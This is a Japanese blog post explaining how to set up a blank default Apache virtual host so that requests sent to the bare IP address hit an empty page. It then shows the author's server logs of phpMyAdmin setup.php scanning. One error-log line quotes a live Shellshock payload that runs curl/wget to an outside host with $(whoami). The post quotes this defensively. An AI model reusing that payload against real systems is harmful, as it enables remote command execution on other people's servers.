今このWordPressを乗っけてるサーバでは、名前ベースのバーチャルホストでinfra.xyzを始めとして複数のサイトが動いてる。でもhttp://153.121.58.159/みたいにIPアドレスを指定してアクセスしてきたときは、どのサイトでもなくて真っ白い画面が出るようにしてる。
※IPアドレス直打ちに限らず、例えばDNSの設定は残ってるんだけど実際のサイトはもうクローズしてて無い!とか、パソコン側でhostsファイルに「example.com 153.121.58.159」って書いてhttp://example.com/にアクセスしてきたみたいな、「ウェブサーバにはたどり着いたんだけど該当するバーチャルホスト(ServerNameないしServerAlias)がない」というリクエストは全て真っ白画面に流してる
これは「該当するバーチャルホスト(ServerNameないしServerAlias)がなかった場合には、一番最初に設定されたバーチャルホストのページが表示される」というApacheの性質を利用しているだけなので、設定方法は意外と簡単。
httpd-vhosts.confみたいな1ファイルに、複数のバーチャルホストの設定をわーっと書いてる場合は、先頭に
<VirtualHost *:80> ServerName galbo DocumentRoot /var/www/galbo ErrorLog logs/galbo-error_log CustomLog logs/galbo-access_log common </VirtualHost>
って書いて、/var/www/galboに何にも書いてないindex.html置いておけばいい。(galboの部分はなんでもいい。私はホスト名をgalboにしたので、そう書いておいただけ。実在していないドメインで問題ない)
そうじゃなくて/etc/httpd/conf.dの中とか、/usr/local/apache/conf/extraの中で、infra.xyz.confとかwww.infra.xyz.confみたいに、1つのバーチャルホストにつき1ファイルずつ作って設定を分けて書いてるぜ!という場合は、/etc/httpd/confとか/usr/local/apache/conf/の中にgalbo.confを作って、さっきと同じ設定を書いた上で、/etc/httpd/conf/httpd.confの中で
# # Load config files from the config directory "/etc/httpd/conf.d". # Include conf/galbo.conf Include conf.d/*.conf
上記のように4行目の「Include conf/galbo.conf」を追加してやればよい。(繰り返すけどgalboの部分はなんでもいい。さっき作ったconfファイルがIncludeされるようにしたいだけ) これによってgalbo.confに書いた設定が、他のバーチャルホストの設定よりも先に読み込まれれば、ファイルの先頭に書いたときと同じように「一番最初の設定」として扱われる。
どっちの方法でも、IPアドレス直打ちのアクセスは/var/www/galboに流れるので、http://153.121.58.159/を開いても真っ白ページが表示されるのでした。やり方の説明おしまい。
それで何が嬉しいかと言うと!結構すごい!サイトへの攻撃をがっつり防げるようになる! ご覧ください!こちらが真っ白ページに流れてきたアクセスログ(/etc/httpd/logs/galbo-access_log)の一部です!
93.174.93.119 - - [25/Sep/2014:08:13:30 +0900] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:31 +0900] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:31 +0900] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:32 +0900] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 297 93.174.93.119 - - [25/Sep/2014:08:13:32 +0900] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:33 +0900] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:33 +0900] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:34 +0900] "GET //phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1" 404 311 93.174.93.119 - - [25/Sep/2014:08:13:34 +0900] "GET //phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:35 +0900] "GET //phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:35 +0900] "GET //phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1" 404 299 93.174.93.119 - - [25/Sep/2014:08:13:36 +0900] "GET //phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:36 +0900] "GET //phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:37 +0900] "GET //phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:37 +0900] "GET //phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:38 +0900] "GET //phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:38 +0900] "GET //phpMyAdmin-2.6.5/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:39 +0900] "GET //phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:39 +0900] "GET //phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:40 +0900] "GET //phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1" 404 302 93.174.93.119 - - [25/Sep/2014:08:13:41 +0900] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:41 +0900] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:42 +0900] "GET //phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:42 +0900] "GET //phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:43 +0900] "GET //phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:43 +0900] "GET //phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:44 +0900] "GET //phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:44 +0900] "GET //phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:45 +0900] "GET //phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:45 +0900] "GET //phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:46 +0900] "GET //phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:46 +0900] "GET //phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:47 +0900] "GET //phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:47 +0900] "GET //phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:48 +0900] "GET //phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:48 +0900] "GET //phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1" 404 300 93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:51 +0900] "GET //phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1" 404 296 93.174.93.119 - - [25/Sep/2014:08:13:51 +0900] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 404 292 93.174.93.119 - - [25/Sep/2014:08:13:52 +0900] "GET //phpMyAdmin-3.0.0-rc1-english/scripts/setup.php HTTP/1.1" 404 308 93.174.93.119 - - [25/Sep/2014:08:13:52 +0900] "GET //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1" 404 312 93.174.93.119 - - [25/Sep/2014:08:13:53 +0900] "GET //phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1" 404 306 93.174.93.119 - - [25/Sep/2014:08:13:53 +0900] "GET //phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:54 +0900] "GET //phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:54 +0900] "GET //phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1" 404 306 93.174.93.119 - - [25/Sep/2014:08:13:55 +0900] "GET //phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:55 +0900] "GET //phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php HTTP/1.1" 404 312 93.174.93.119 - - [25/Sep/2014:08:13:56 +0900] "GET //phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1" 404 312 93.174.93.119 - - [25/Sep/2014:08:13:57 +0900] "GET //phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1" 404 306 93.174.93.119 - - [25/Sep/2014:08:13:57 +0900] "GET //phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:58 +0900] "GET //phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1" 404 298 93.174.93.119 - - [25/Sep/2014:08:13:58 +0900] "GET //phpMyAdmin2/scripts/setup.php HTTP/1.1" 404 291 93.174.93.119 - - [25/Sep/2014:08:13:59 +0900] "GET //phpMyAdmin3/scripts/setup.php HTTP/1.1" 404 291
ものの30秒の間に無茶苦茶攻撃受けてる。phpMyAdminのあらゆるバージョンがないか試されてる・・・うわー・・・。 続いてエラーログ(/etc/httpd/logs/galbo-error_log)も見てみましょう。
[Sun Sep 28 03:31:46 2014] [error] [client 107.170.88.22] Directory index forbidden by Options directive: /var/www/html/, referer: () { :;}; /bin/bash -c 'curl http://197.242.148.29:8088/reg/153.12 1.58.159/$(whoami)/ || wget http://197.242.148.29:8088/reg/153.121.58.159/$(whoami)/'
ShellShock狙った攻撃も来てたー!
でも/var/www/galboの中は空っぽ!真っ白のindex.html以外何にもないので、phpMyAdminの不正ログインを狙った攻撃をされても、Bashの脆弱性を突いた攻撃をされても、問題ありません。
要は、攻撃は「IPアドレス直打ちで来る」ものが多いので、そこをひらりマントのごとく、この対策をしておけば結構色々防げるなーと。(実際infra.xyzの方のアクセスログやエラーログにはこういうの来てなくて、きれいなものである)
だってさくらのVPSでこのサーバ借りて4か月ちょっとだけど、その間に1429件もこういう攻撃(とおぼしきアクセス)来てるのですよ。サーバってほんとに攻撃くるんだねー。なんかこうオレオレ詐欺の電話が掛かってきた!みたいに興奮してしまったけど、この対策しておいてよかった。